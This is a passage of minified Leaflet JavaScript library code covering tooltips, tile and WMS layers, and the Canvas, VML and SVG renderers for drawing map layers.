Qi){this.openPopup(t.layer||t.target,t.latlng);return}if(this._map.hasLayer(this._popup)&&this._popup._source===e){this.closePopup()}else{this.openPopup(e,t.latlng)}},_movePopup:function(t){this._popup.setLatLng(t.latlng)},_onKeyPress:function(t){if(t.originalEvent.keyCode===13){this._openPopup(t)}}});var Sn=Mn.extend({options:{pane:"tooltipPane",offset:[0,0],direction:"auto",permanent:false,sticky:false,interactive:false,opacity:.9},onAdd:function(t){Mn.prototype.onAdd.call(this,t);this.setOpacity(this.options.opacity);t.fire("tooltipopen",{tooltip:this});if(this._source){this._source.fire("tooltipopen",{tooltip:this},true)}},onRemove:function(t){Mn.prototype.onRemove.call(this,t);t.fire("tooltipclose",{tooltip:this});if(this._source){this._source.fire("tooltipclose",{tooltip:this},true)}},getEvents:function(){var t=Mn.prototype.getEvents.call(this);if(bt&&!this.options.permanent){t.preclick=this._close}return t},_close:function(){if(this._map){this._map.closeTooltip(this)}},_initLayout:function(){var t="leaflet-tooltip",e=t+" "+(this.options.className||"")+" leaflet-zoom-"+(this._zoomAnimated?"animated":"hide");this._contentNode=this._container=oe("div",e)},_updateLayout:function(){},_adjustPan:function(){},_setPosition:function(t){var e,i,n=this._map,o=this._container,s=n.latLngToContainerPoint(n.getCenter()),r=n.layerPointToContainerPoint(t),a=this.options.direction,h=o.offsetWidth,l=o.offsetHeight,u=A(this.options.offset),c=this._getAnchor();if(a==="top"){e=h/2;i=l}else if(a==="bottom"){e=h/2;i=0}else if(a==="center"){e=h/2;i=l/2}else if(a==="right"){e=0;i=l/2}else if(a==="left"){e=h;i=l/2}else if(r.x<s.x){a="right";e=0;i=l/2}else{a="left";e=h+(u.x+c.x)*2;i=l/2}t=t.subtract(A(e,i,true)).add(u).add(c);ce(o,"leaflet-tooltip-right");ce(o,"leaflet-tooltip-left");ce(o,"leaflet-tooltip-top");ce(o,"leaflet-tooltip-bottom");ue(o,"leaflet-tooltip-"+a);ve(o,t)},_updatePosition:function(){var t=this._map.latLngToLayerPoint(this._latlng);this._setPosition(t)},setOpacity:function(t){this.options.opacity=t;if(this._container){pe(this._container,t)}},_animateZoom:function(t){var e=this._map._latLngToNewLayerPoint(this._latlng,t.zoom,t.center);this._setPosition(e)},_getAnchor:function(){return A(this._source&&this._source._getTooltipAnchor&&!this.options.sticky?this._source._getTooltipAnchor():[0,0])}});var zn=function(t,e){return new Sn(t,e)};ti.include({openTooltip:function(t,e,i){if(!(t instanceof Sn)){t=new Sn(i).setContent(t)}if(e){t.setLatLng(e)}if(this.hasLayer(t)){return this}return this.addLayer(t)},closeTooltip:function(t){if(t){this.removeLayer(t)}return this}});ji.include({bindTooltip:function(t,e){if(t instanceof Sn){f(t,e);this._tooltip=t;t._source=this}else{if(!this._tooltip||e){this._tooltip=new Sn(e,this)}this._tooltip.setContent(t)}this._initTooltipInteractions();if(this._tooltip.options.permanent&&this._map&&this._map.hasLayer(this)){this.openTooltip()}return this},unbindTooltip:function(){if(this._tooltip){this._initTooltipInteractions(true);this.closeTooltip();this._tooltip=null}return this},_initTooltipInteractions:function(t){if(!t&&this._tooltipHandlersAdded){return}var e=t?"off":"on",i={remove:this.closeTooltip,move:this._moveTooltip};if(!this._tooltip.options.permanent){i.mouseover=this._openTooltip;i.mouseout=this.closeTooltip;if(this._tooltip.options.sticky){i.mousemove=this._moveTooltip}if(bt){i.click=this._openTooltip}}else{i.add=this._openTooltip}this[e](i);this._tooltipHandlersAdded=!t},openTooltip:function(t,e){if(this._tooltip&&this._map){e=this._tooltip._prepareOpen(this,t,e);this._map.openTooltip(this._tooltip,e);if(this._tooltip.options.interactive&&this._tooltip._container){ue(this._tooltip._container,"leaflet-clickable");this.addInteractiveTarget(this._tooltip._container)}}return this},closeTooltip:function(){if(this._tooltip){this._tooltip._close();if(this._tooltip.options.interactive&&this._tooltip._container){ce(this._tooltip._container,"leaflet-clickable");this.removeInteractiveTarget(this._tooltip._container)}}return this},toggleTooltip:function(t){if(this._tooltip){if(this._tooltip._map){this.closeTooltip()}else{this.openTooltip(t)}}return this},isTooltipOpen:function(){return this._tooltip.isOpen()},setTooltipContent:function(t){if(this._tooltip){this._tooltip.setContent(t)}return this},getTooltip:function(){return this._tooltip},_openTooltip:function(t){var e=t.layer||t.target;if(!this._tooltip||!this._map){return}this.openTooltip(e,this._tooltip.options.sticky?t.latlng:undefined)},_moveTooltip:function(t){var e=t.latlng,i,n;if(this._tooltip.options.sticky&&t.originalEvent){i=this._map.mouseEventToContainerPoint(t.originalEvent);n=this._map.containerPointToLayerPoint(i);e=this._map.layerPointToLatLng(n)}this._tooltip.setLatLng(e)}});var En=qi.extend({options:{iconSize:[12,12],html:false,bgPos:null,className:"leaflet-div-icon"},createIcon:function(t){var e=t&&t.tagName==="DIV"?t:document.createElement("div"),i=this.options;if(i.html instanceof Element){re(e);e.appendChild(i.html)}else{e.innerHTML=i.html!==false?i.html:""}if(i.bgPos){var n=A(i.bgPos);e.style.backgroundPosition=-n.x+"px "+-n.y+"px"}this._setIconStyles(e,"icon");return e},createShadow:function(){return null}});function Zn(t){return new En(t)}qi.Default=Ki;var Bn=ji.extend({options:{tileSize:256,opacity:1,updateWhenIdle:vt,updateWhenZooming:true,updateInterval:200,zIndex:1,bounds:null,minZoom:0,maxZoom:undefined,maxNativeZoom:undefined,minNativeZoom:undefined,noWrap:false,pane:"tilePane",className:"",keepBuffer:2},initialize:function(t){f(this,t)},onAdd:function(){this._initContainer();this._levels={};this._tiles={};this._resetView();this._update()},beforeAdd:function(t){t._addZoomLimit(this)},onRemove:function(t){this._removeAllTiles();se(this._container);t._removeZoomLimit(this);this._container=null;this._tileZoom=undefined},bringToFront:function(){if(this._map){ae(this._container);this._setAutoZIndex(Math.max)}return this},bringToBack:function(){if(this._map){he(this._container);this._setAutoZIndex(Math.min)}return this},getContainer:function(){return this._container},setOpacity:function(t){this.options.opacity=t;this._updateOpacity();return this},setZIndex:function(t){this.options.zIndex=t;this._updateZIndex();return this},isLoading:function(){return this._loading},redraw:function(){if(this._map){this._removeAllTiles();this._update()}return this},getEvents:function(){var t={viewprereset:this._invalidateAll,viewreset:this._resetView,zoom:this._resetView,moveend:this._onMoveEnd};if(!this.options.updateWhenIdle){if(!this._onMove){this._onMove=a(this._onMoveEnd,this.options.updateInterval,this)}t.move=this._onMove}if(this._zoomAnimated){t.zoomanim=this._animateZoom}return t},createTile:function(){return document.createElement("div")},getTileSize:function(){var t=this.options.tileSize;return t instanceof B?t:new B(t,t)},_updateZIndex:function(){if(this._container&&this.options.zIndex!==undefined&&this.options.zIndex!==null){this._container.style.zIndex=this.options.zIndex}},_setAutoZIndex:function(t){var e=this.getPane().children,i=-t(-Infinity,Infinity);for(var n=0,o=e.length,s;n<o;n++){s=e[n].style.zIndex;if(e[n]!==this._container&&s){i=t(i,+s)}}if(isFinite(i)){this.options.zIndex=i+t(-1,1);this._updateZIndex()}},_updateOpacity:function(){if(!this._map){return}if(tt){return}pe(this._container,this.options.opacity);var t=+new Date,e=false,i=false;for(var n in this._tiles){var o=this._tiles[n];if(!o.current||!o.loaded){continue}var s=Math.min(1,(t-o.loaded)/200);pe(o.el,s);if(s<1){e=true}else{if(o.active){i=true}else{this._onOpaqueTile(o)}o.active=true}}if(i&&!this._noPrune){this._pruneTiles()}if(e){T(this._fadeFrame);this._fadeFrame=M(this._updateOpacity,this)}},_onOpaqueTile:l,_initContainer:function(){if(this._container){return}this._container=oe("div","leaflet-layer "+(this.options.className||""));this._updateZIndex();if(this.options.opacity<1){this._updateOpacity()}this.getPane().appendChild(this._container)},_updateLevels:function(){var t=this._tileZoom,e=this.options.maxZoom;if(t===undefined){return undefined}for(var i in this._levels){i=Number(i);if(this._levels[i].el.children.length||i===t){this._levels[i].el.style.zIndex=e-Math.abs(t-i);this._onUpdateLevel(i)}else{se(this._levels[i].el);this._removeTilesAtZoom(i);this._onRemoveLevel(i);delete this._levels[i]}}var n=this._levels[t],o=this._map;if(!n){n=this._levels[t]={};n.el=oe("div","leaflet-tile-container leaflet-zoom-animated",this._container);n.el.style.zIndex=e;n.origin=o.project(o.unproject(o.getPixelOrigin()),t).round();n.zoom=t;this._setZoomTransform(n,o.getCenter(),o.getZoom());l(n.el.offsetWidth);this._onCreateLevel(n)}this._level=n;return n},_onUpdateLevel:l,_onRemoveLevel:l,_onCreateLevel:l,_pruneTiles:function(){if(!this._map){return}var t,e;var i=this._map.getZoom();if(i>this.options.maxZoom||i<this.options.minZoom){this._removeAllTiles();return}for(t in this._tiles){e=this._tiles[t];e.retain=e.current}for(t in this._tiles){e=this._tiles[t];if(e.current&&!e.active){var n=e.coords;if(!this._retainParent(n.x,n.y,n.z,n.z-5)){this._retainChildren(n.x,n.y,n.z,n.z+2)}}}for(t in this._tiles){if(!this._tiles[t].retain){this._removeTile(t)}}},_removeTilesAtZoom:function(t){for(var e in this._tiles){if(this._tiles[e].coords.z!==t){continue}this._removeTile(e)}},_removeAllTiles:function(){for(var t in this._tiles){this._removeTile(t)}},_invalidateAll:function(){for(var t in this._levels){se(this._levels[t].el);this._onRemoveLevel(Number(t));delete this._levels[t]}this._removeAllTiles();this._tileZoom=undefined},_retainParent:function(t,e,i,n){var o=Math.floor(t/2),s=Math.floor(e/2),r=i-1,a=new B(+o,+s);a.z=+r;var h=this._tileCoordsToKey(a),l=this._tiles[h];if(l&&l.active){l.retain=true;return true}else if(l&&l.loaded){l.retain=true}if(r>n){return this._retainParent(o,s,r,n)}return false},_retainChildren:function(t,e,i,n){for(var o=2*t;o<2*t+2;o++){for(var s=2*e;s<2*e+2;s++){var r=new B(o,s);r.z=i+1;var a=this._tileCoordsToKey(r),h=this._tiles[a];if(h&&h.active){h.retain=true;continue}else if(h&&h.loaded){h.retain=true}if(i+1<n){this._retainChildren(o,s,i+1,n)}}}},_resetView:function(t){var e=t&&(t.pinch||t.flyTo);this._setView(this._map.getCenter(),this._map.getZoom(),e,e)},_animateZoom:function(t){this._setView(t.center,t.zoom,true,t.noUpdate)},_clampZoom:function(t){var e=this.options;if(undefined!==e.minNativeZoom&&t<e.minNativeZoom){return e.minNativeZoom}if(undefined!==e.maxNativeZoom&&e.maxNativeZoom<t){return e.maxNativeZoom}return t},_setView:function(t,e,i,n){var o=Math.round(e);if(this.options.maxZoom!==undefined&&o>this.options.maxZoom||this.options.minZoom!==undefined&&o<this.options.minZoom){o=undefined}else{o=this._clampZoom(o)}var s=this.options.updateWhenZooming&&o!==this._tileZoom;if(!n||s){this._tileZoom=o;if(this._abortLoading){this._abortLoading()}this._updateLevels();this._resetGrid();if(o!==undefined){this._update(t)}if(!i){this._pruneTiles()}this._noPrune=!!i}this._setZoomTransforms(t,e)},_setZoomTransforms:function(t,e){for(var i in this._levels){this._setZoomTransform(this._levels[i],t,e)}},_setZoomTransform:function(t,e,i){var n=this._map.getZoomScale(i,t.zoom),o=t.origin.multiplyBy(n).subtract(this._map._getNewPixelOrigin(e,i)).round();if(gt){ge(t.el,o,n)}else{ve(t.el,o)}},_resetGrid:function(){var t=this._map,e=t.options.crs,i=this._tileSize=this.getTileSize(),n=this._tileZoom;var o=this._map.getPixelWorldBounds(this._tileZoom);if(o){this._globalTileRange=this._pxBoundsToTileRange(o)}this._wrapX=e.wrapLng&&!this.options.noWrap&&[Math.floor(t.project([0,e.wrapLng[0]],n).x/i.x),Math.ceil(t.project([0,e.wrapLng[1]],n).x/i.y)];this._wrapY=e.wrapLat&&!this.options.noWrap&&[Math.floor(t.project([e.wrapLat[0],0],n).y/i.x),Math.ceil(t.project([e.wrapLat[1],0],n).y/i.y)]},_onMoveEnd:function(){if(!this._map||this._map._animatingZoom){return}this._update()},_getTiledPixelBounds:function(t){var e=this._map,i=e._animatingZoom?Math.max(e._animateToZoom,e.getZoom()):e.getZoom(),n=e.getZoomScale(i,this._tileZoom),o=e.project(t,this._tileZoom).floor(),s=e.getSize().divideBy(n*2);return new O(o.subtract(s),o.add(s))},_update:function(t){var e=this._map;if(!e){return}var i=this._clampZoom(e.getZoom());if(t===undefined){t=e.getCenter()}if(this._tileZoom===undefined){return}var n=this._getTiledPixelBounds(t),o=this._pxBoundsToTileRange(n),s=o.getCenter(),r=[],a=this.options.keepBuffer,h=new O(o.getBottomLeft().subtract([a,-a]),o.getTopRight().add([a,-a]));if(!(isFinite(o.min.x)&&isFinite(o.min.y)&&isFinite(o.max.x)&&isFinite(o.max.y))){throw new Error("Attempted to load an infinite number of tiles")}for(var l in this._tiles){var u=this._tiles[l].coords;if(u.z!==this._tileZoom||!h.contains(new B(u.x,u.y))){this._tiles[l].current=false}}if(Math.abs(i-this._tileZoom)>1){this._setView(t,i);return}for(var c=o.min.y;c<=o.max.y;c++){for(var d=o.min.x;d<=o.max.x;d++){var f=new B(d,c);f.z=this._tileZoom;if(!this._isValidTile(f)){continue}var p=this._tiles[this._tileCoordsToKey(f)];if(p){p.current=true}else{r.push(f)}}}r.sort((function(t,e){return t.distanceTo(s)-e.distanceTo(s)}));if(r.length!==0){if(!this._loading){this._loading=true;this.fire("loading")}var _=document.createDocumentFragment();for(d=0;d<r.length;d++){this._addTile(r[d],_)}this._level.el.appendChild(_)}},_isValidTile:function(t){var e=this._map.options.crs;if(!e.infinite){var i=this._globalTileRange;if(!e.wrapLng&&(t.x<i.min.x||t.x>i.max.x)||!e.wrapLat&&(t.y<i.min.y||t.y>i.max.y)){return false}}if(!this.options.bounds){return true}var n=this._tileCoordsToBounds(t);return D(this.options.bounds).overlaps(n)},_keyToBounds:function(t){return this._tileCoordsToBounds(this._keyToTileCoords(t))},_tileCoordsToNwSe:function(t){var e=this._map,i=this.getTileSize(),n=t.scaleBy(i),o=n.add(i),s=e.unproject(n,t.z),r=e.unproject(o,t.z);return[s,r]},_tileCoordsToBounds:function(t){var e=this._tileCoordsToNwSe(t),i=new N(e[0],e[1]);if(!this.options.noWrap){i=this._map.wrapLatLngBounds(i)}return i},_tileCoordsToKey:function(t){return t.x+":"+t.y+":"+t.z},_keyToTileCoords:function(t){var e=t.split(":"),i=new B(+e[0],+e[1]);i.z=+e[2];return i},_removeTile:function(t){var e=this._tiles[t];if(!e){return}se(e.el);delete this._tiles[t];this.fire("tileunload",{tile:e.el,coords:this._keyToTileCoords(t)})},_initTile:function(t){ue(t,"leaflet-tile");var e=this.getTileSize();t.style.width=e.x+"px";t.style.height=e.y+"px";t.onselectstart=l;t.onmousemove=l;if(tt&&this.options.opacity<1){pe(t,this.options.opacity)}if(nt&&!ot){t.style.WebkitBackfaceVisibility="hidden"}},_addTile:function(t,e){var i=this._getTilePos(t),n=this._tileCoordsToKey(t);var s=this.createTile(this._wrapCoords(t),o(this._tileReady,this,t));this._initTile(s);if(this.createTile.length<2){M(o(this._tileReady,this,t,null,s))}ve(s,i);this._tiles[n]={el:s,coords:t,current:true};e.appendChild(s);this.fire("tileloadstart",{tile:s,coords:t})},_tileReady:function(t,e,i){if(e){this.fire("tileerror",{error:e,tile:i,coords:t})}var n=this._tileCoordsToKey(t);i=this._tiles[n];if(!i){return}i.loaded=+new Date;if(this._map._fadeAnimated){pe(i.el,0);T(this._fadeFrame);this._fadeFrame=M(this._updateOpacity,this)}else{i.active=true;this._pruneTiles()}if(!e){ue(i.el,"leaflet-tile-loaded");this.fire("tileload",{tile:i.el,coords:t})}if(this._noTilesToLoad()){this._loading=false;this.fire("load");if(tt||!this._map._fadeAnimated){M(this._pruneTiles,this)}else{setTimeout(o(this._pruneTiles,this),250)}}},_getTilePos:function(t){return t.scaleBy(this.getTileSize()).subtract(this._level.origin)},_wrapCoords:function(t){var e=new B(this._wrapX?h(t.x,this._wrapX):t.x,this._wrapY?h(t.y,this._wrapY):t.y);e.z=t.z;return e},_pxBoundsToTileRange:function(t){var e=this.getTileSize();return new O(t.min.unscaleBy(e).floor(),t.max.unscaleBy(e).ceil().subtract([1,1]))},_noTilesToLoad:function(){for(var t in this._tiles){if(!this._tiles[t].loaded){return false}}return true}});function In(t){return new Bn(t)}var An=Bn.extend({options:{minZoom:0,maxZoom:18,subdomains:"abc",errorTileUrl:"",zoomOffset:0,tms:false,zoomReverse:false,detectRetina:false,crossOrigin:false},initialize:function(t,e){this._url=t;e=f(this,e);if(e.detectRetina&&Mt&&e.maxZoom>0){e.tileSize=Math.floor(e.tileSize/2);if(!e.zoomReverse){e.zoomOffset++;e.maxZoom--}else{e.zoomOffset--;e.minZoom++}e.minZoom=Math.max(0,e.minZoom)}if(typeof e.subdomains==="string"){e.subdomains=e.subdomains.split("")}if(!nt){this.on("tileunload",this._onTileRemove)}},setUrl:function(t,e){if(this._url===t&&e===undefined){e=true}this._url=t;if(!e){this.redraw()}return this},createTile:function(t,e){var i=document.createElement("img");Be(i,"load",o(this._tileOnLoad,this,e,i));Be(i,"error",o(this._tileOnError,this,e,i));if(this.options.crossOrigin||this.options.crossOrigin===""){i.crossOrigin=this.options.crossOrigin===true?"":this.options.crossOrigin}i.alt="";i.setAttribute("role","presentation");i.src=this.getTileUrl(t);return i},getTileUrl:function(t){var e={r:Mt?"@2x":"",s:this._getSubdomain(t),x:t.x,y:t.y,z:this._getZoomForUrl()};if(this._map&&!this._map.options.crs.infinite){var n=this._globalTileRange.max.y-t.y;if(this.options.tms){e["y"]=n}e["-y"]=n}return m(this._url,i(e,this.options))},_tileOnLoad:function(t,e){if(tt){setTimeout(o(t,this,null,e),0)}else{t(null,e)}},_tileOnError:function(t,e,i){var n=this.options.errorTileUrl;if(n&&e.getAttribute("src")!==n){e.src=n}t(i,e)},_onTileRemove:function(t){t.tile.onload=null},_getZoomForUrl:function(){var t=this._tileZoom,e=this.options.maxZoom,i=this.options.zoomReverse,n=this.options.zoomOffset;if(i){t=e-t}return t+n},_getSubdomain:function(t){var e=Math.abs(t.x+t.y)%this.options.subdomains.length;return this.options.subdomains[e]},_abortLoading:function(){var t,e;for(t in this._tiles){if(this._tiles[t].coords.z!==this._tileZoom){e=this._tiles[t].el;e.onload=l;e.onerror=l;if(!e.complete){e.src=y;se(e);delete this._tiles[t]}}}},_removeTile:function(t){var e=this._tiles[t];if(!e){return}if(!rt){e.el.setAttribute("src",y)}return Bn.prototype._removeTile.call(this,t)},_tileReady:function(t,e,i){if(!this._map||i&&i.getAttribute("src")===y){return}return Bn.prototype._tileReady.call(this,t,e,i)}});function On(t,e){return new An(t,e)}var Rn=An.extend({defaultWmsParams:{service:"WMS",request:"GetMap",layers:"",styles:"",format:"image/jpeg",transparent:false,version:"1.1.1"},options:{crs:null,uppercase:false},initialize:function(t,e){this._url=t;var n=i({},this.defaultWmsParams);for(var o in e){if(!(o in this.options)){n[o]=e[o]}}e=f(this,e);var s=e.detectRetina&&Mt?2:1;var r=this.getTileSize();n.width=r.x*s;n.height=r.y*s;this.wmsParams=n},onAdd:function(t){this._crs=this.options.crs||t.options.crs;this._wmsVersion=parseFloat(this.wmsParams.version);var e=this._wmsVersion>=1.3?"crs":"srs";this.wmsParams[e]=this._crs.code;An.prototype.onAdd.call(this,t)},getTileUrl:function(t){var e=this._tileCoordsToNwSe(t),i=this._crs,n=R(i.project(e[0]),i.project(e[1])),o=n.min,s=n.max,r=(this._wmsVersion>=1.3&&this._crs===Di?[o.y,o.x,s.y,s.x]:[o.x,o.y,s.x,s.y]).join(","),a=An.prototype.getTileUrl.call(this,t);return a+p(this.wmsParams,a,this.options.uppercase)+(this.options.uppercase?"&BBOX=":"&bbox=")+r},setParams:function(t,e){i(this.wmsParams,t);if(!e){this.redraw()}return this}});function Nn(t,e){return new Rn(t,e)}An.WMS=Rn;On.wms=Nn;var Dn=ji.extend({options:{padding:.1,tolerance:0},initialize:function(t){f(this,t);r(this);this._layers=this._layers||{}},onAdd:function(){if(!this._container){this._initContainer();if(this._zoomAnimated){ue(this._container,"leaflet-zoom-animated")}}this.getPane().appendChild(this._container);this._update();this.on("update",this._updatePaths,this)},onRemove:function(){this.off("update",this._updatePaths,this);this._destroyContainer()},getEvents:function(){var t={viewreset:this._reset,zoom:this._onZoom,moveend:this._update,zoomend:this._onZoomEnd};if(this._zoomAnimated){t.zoomanim=this._onAnimZoom}return t},_onAnimZoom:function(t){this._updateTransform(t.center,t.zoom)},_onZoom:function(){this._updateTransform(this._map.getCenter(),this._map.getZoom())},_updateTransform:function(t,e){var i=this._map.getZoomScale(e,this._zoom),n=ye(this._container),o=this._map.getSize().multiplyBy(.5+this.options.padding),s=this._map.project(this._center,e),r=this._map.project(t,e),a=r.subtract(s),h=o.multiplyBy(-i).add(n).add(o).subtract(a);if(gt){ge(this._container,h,i)}else{ve(this._container,h)}},_reset:function(){this._update();this._updateTransform(this._center,this._zoom);for(var t in this._layers){this._layers[t]._reset()}},_onZoomEnd:function(){for(var t in this._layers){this._layers[t]._project()}},_updatePaths:function(){for(var t in this._layers){this._layers[t]._update()}},_update:function(){var t=this.options.padding,e=this._map.getSize(),i=this._map.containerPointToLayerPoint(e.multiplyBy(-t)).round();this._bounds=new O(i,i.add(e.multiplyBy(1+t*2)).round());this._center=this._map.getCenter();this._zoom=this._map.getZoom()}});var Un=Dn.extend({getEvents:function(){var t=Dn.prototype.getEvents.call(this);t.viewprereset=this._onViewPreReset;return t},_onViewPreReset:function(){this._postponeUpdatePaths=true},onAdd:function(){Dn.prototype.onAdd.call(this);this._draw()},_initContainer:function(){var t=this._container=document.createElement("canvas");Be(t,"mousemove",this._onMouseMove,this);Be(t,"click dblclick mousedown mouseup contextmenu",this._onClick,this);Be(t,"mouseout",this._handleMouseOut,this);this._ctx=t.getContext("2d")},_destroyContainer:function(){T(this._redrawRequest);delete this._ctx;se(this._container);Ae(this._container);delete this._container},_updatePaths:function(){if(this._postponeUpdatePaths){return}var t;this._redrawBounds=null;for(var e in this._layers){t=this._layers[e];t._update()}this._redraw()},_update:function(){if(this._map._animatingZoom&&this._bounds){return}Dn.prototype._update.call(this);var t=this._bounds,e=this._container,i=t.getSize(),n=Mt?2:1;ve(e,t.min);e.width=n*i.x;e.height=n*i.y;e.style.width=i.x+"px";e.style.height=i.y+"px";if(Mt){this._ctx.scale(2,2)}this._ctx.translate(-t.min.x,-t.min.y);this.fire("update")},_reset:function(){Dn.prototype._reset.call(this);if(this._postponeUpdatePaths){this._postponeUpdatePaths=false;this._updatePaths()}},_initPath:function(t){this._updateDashArray(t);this._layers[r(t)]=t;var e=t._order={layer:t,prev:this._drawLast,next:null};if(this._drawLast){this._drawLast.next=e}this._drawLast=e;this._drawFirst=this._drawFirst||this._drawLast},_addPath:function(t){this._requestRedraw(t)},_removePath:function(t){var e=t._order;var i=e.next;var n=e.prev;if(i){i.prev=n}else{this._drawLast=n}if(n){n.next=i}else{this._drawFirst=i}delete t._order;delete this._layers[r(t)];this._requestRedraw(t)},_updatePath:function(t){this._extendRedrawBounds(t);t._project();t._update();this._requestRedraw(t)},_updateStyle:function(t){this._updateDashArray(t);this._requestRedraw(t)},_updateDashArray:function(t){if(typeof t.options.dashArray==="string"){var e=t.options.dashArray.split(/[, ]+/),i=[],n,o;for(o=0;o<e.length;o++){n=Number(e[o]);if(isNaN(n)){return}i.push(n)}t.options._dashArray=i}else{t.options._dashArray=t.options.dashArray}},_requestRedraw:function(t){if(!this._map){return}this._extendRedrawBounds(t);this._redrawRequest=this._redrawRequest||M(this._redraw,this)},_extendRedrawBounds:function(t){if(t._pxBounds){var e=(t.options.weight||0)+1;this._redrawBounds=this._redrawBounds||new O;this._redrawBounds.extend(t._pxBounds.min.subtract([e,e]));this._redrawBounds.extend(t._pxBounds.max.add([e,e]))}},_redraw:function(){this._redrawRequest=null;if(this._redrawBounds){this._redrawBounds.min._floor();this._redrawBounds.max._ceil()}this._clear();this._draw();this._redrawBounds=null},_clear:function(){var t=this._redrawBounds;if(t){var e=t.getSize();this._ctx.clearRect(t.min.x,t.min.y,e.x,e.y)}else{this._ctx.save();this._ctx.setTransform(1,0,0,1,0,0);this._ctx.clearRect(0,0,this._container.width,this._container.height);this._ctx.restore()}},_draw:function(){var t,e=this._redrawBounds;this._ctx.save();if(e){var i=e.getSize();this._ctx.beginPath();this._ctx.rect(e.min.x,e.min.y,i.x,i.y);this._ctx.clip()}this._drawing=true;for(var n=this._drawFirst;n;n=n.next){t=n.layer;if(!e||t._pxBounds&&t._pxBounds.intersects(e)){t._updatePath()}}this._drawing=false;this._ctx.restore()},_updatePoly:function(t,e){if(!this._drawing){return}var i,n,o,s,r=t._parts,a=r.length,h=this._ctx;if(!a){return}h.beginPath();for(i=0;i<a;i++){for(n=0,o=r[i].length;n<o;n++){s=r[i][n];h[n?"lineTo":"moveTo"](s.x,s.y)}if(e){h.closePath()}}this._fillStroke(h,t)},_updateCircle:function(t){if(!this._drawing||t._empty()){return}var e=t._point,i=this._ctx,n=Math.max(Math.round(t._radius),1),o=(Math.max(Math.round(t._radiusY),1)||n)/n;if(o!==1){i.save();i.scale(1,o)}i.beginPath();i.arc(e.x,e.y/o,n,0,Math.PI*2,false);if(o!==1){i.restore()}this._fillStroke(i,t)},_fillStroke:function(t,e){var i=e.options;if(i.fill){t.globalAlpha=i.fillOpacity;t.fillStyle=i.fillColor||i.color;t.fill(i.fillRule||"evenodd")}if(i.stroke&&i.weight!==0){if(t.setLineDash){t.setLineDash(e.options&&e.options._dashArray||[])}t.globalAlpha=i.opacity;t.lineWidth=i.weight;t.strokeStyle=i.color;t.lineCap=i.lineCap;t.lineJoin=i.lineJoin;t.stroke()}},_onClick:function(t){var e=this._map.mouseEventToLayerPoint(t),i,n;for(var o=this._drawFirst;o;o=o.next){i=o.layer;if(i.options.interactive&&i._containsPoint(e)){if(!(t.type==="click"||t.type!=="preclick")||!this._map._draggableMoved(i)){n=i}}}if(n){Ye(t);this._fireEvent([n],t)}},_onMouseMove:function(t){if(!this._map||this._map.dragging.moving()||this._map._animatingZoom){return}var e=this._map.mouseEventToLayerPoint(t);this._handleMouseHover(t,e)},_handleMouseOut:function(t){var e=this._hoveredLayer;if(e){ce(this._container,"leaflet-interactive");this._fireEvent([e],t,"mouseout");this._hoveredLayer=null;this._mouseHoverThrottled=false}},_handleMouseHover:function(t,e){if(this._mouseHoverThrottled){return}var i,n;for(var s=this._drawFirst;s;s=s.next){i=s.layer;if(i.options.interactive&&i._containsPoint(e)){n=i}}if(n!==this._hoveredLayer){this._handleMouseOut(t);if(n){ue(this._container,"leaflet-interactive");this._fireEvent([n],t,"mouseover");this._hoveredLayer=n}}if(this._hoveredLayer){this._fireEvent([this._hoveredLayer],t)}this._mouseHoverThrottled=true;setTimeout(o((function(){this._mouseHoverThrottled=false}),this),32)},_fireEvent:function(t,e,i){this._map._fireDOMEvent(e,i||e.type,t)},_bringToFront:function(t){var e=t._order;if(!e){return}var i=e.next;var n=e.prev;if(i){i.prev=n}else{return}if(n){n.next=i}else if(i){this._drawFirst=i}e.prev=this._drawLast;this._drawLast.next=e;e.next=null;this._drawLast=e;this._requestRedraw(t)},_bringToBack:function(t){var e=t._order;if(!e){return}var i=e.next;var n=e.prev;if(n){n.next=i}else{return}if(i){i.prev=n}else if(n){this._drawLast=n}e.prev=null;e.next=this._drawFirst;this._drawFirst.prev=e;this._drawFirst=e;this._requestRedraw(t)}});function jn(t){return kt?new Un(t):null}var Fn=function(){try{document.namespaces.add("lvml","urn:schemas-microsoft-com:vml");return function(t){return document.createElement("<lvml:"+t+' class="lvml">')}}catch(t){return function(t){return document.createElement("<"+t+' xmlns="urn:schemas-microsoft.com:vml" class="lvml">')}}}();var Gn={_initContainer:function(){this._container=oe("div","leaflet-vml-container")},_update:function(){if(this._map._animatingZoom){return}Dn.prototype._update.call(this);this.fire("update")},_initPath:function(t){var e=t._container=Fn("shape");ue(e,"leaflet-vml-shape "+(this.options.className||""));e.coordsize="1 1";t._path=Fn("path");e.appendChild(t._path);this._updateStyle(t);this._layers[r(t)]=t},_addPath:function(t){var e=t._container;this._container.appendChild(e);if(t.options.interactive){t.addInteractiveTarget(e)}},_removePath:function(t){var e=t._container;se(e);t.removeInteractiveTarget(e);delete this._layers[r(t)]},_updateStyle:function(t){var e=t._stroke,i=t._fill,n=t.options,o=t._container;o.stroked=!!n.stroke;o.filled=!!n.fill;if(n.stroke){if(!e){e=t._stroke=Fn("stroke")}o.appendChild(e);e.weight=n.weight+"px";e.color=n.color;e.opacity=n.opacity;if(n.dashArray){e.dashStyle=g(n.dashArray)?n.dashArray.join(" "):n.dashArray.replace(/( *, *)/g," ")}else{e.dashStyle=""}e.endcap=n.lineCap.replace("butt","flat");e.joinstyle=n.lineJoin}else if(e){o.removeChild(e);t._stroke=null}if(n.fill){if(!i){i=t._fill=Fn("fill")}o.appendChild(i);i.color=n.fillColor||n.color;i.opacity=n.fillOpacity}else if(i){o.removeChild(i);t._fill=null}},_updateCircle:function(t){var e=t._point.round(),i=Math.round(t._radius),n=Math.round(t._radiusY||i);this._setPath(t,t._empty()?"M0 0":"AL "+e.x+","+e.y+" "+i+","+n+" 0,"+65535*360)},_setPath:function(t,e){t._path.v=e},_bringToFront:function(t){ae(t._container)},_bringToBack:function(t){he(t._container)}};var Hn=zt?Fn:J;var Wn=Dn.extend({getEvents:function(){var t=Dn.prototype.getEvents.call(this);t.zoomstart=this._onZoomStart;return t},_initContainer:function(){this._container=Hn("svg");this._container.setAttribute("pointer-events","none");this._rootGroup=Hn("g");this._container.appendChild(this._rootGroup)},_destroyContainer:function(){se(this._container);Ae(this._container);delete this._container;delete this._rootGroup;delete this._svgSize},_onZoomStart:function(){this._update()},_update:function(){if(this._map._animatingZoom&&this._bounds){return}Dn.prototype._update.call(this);var 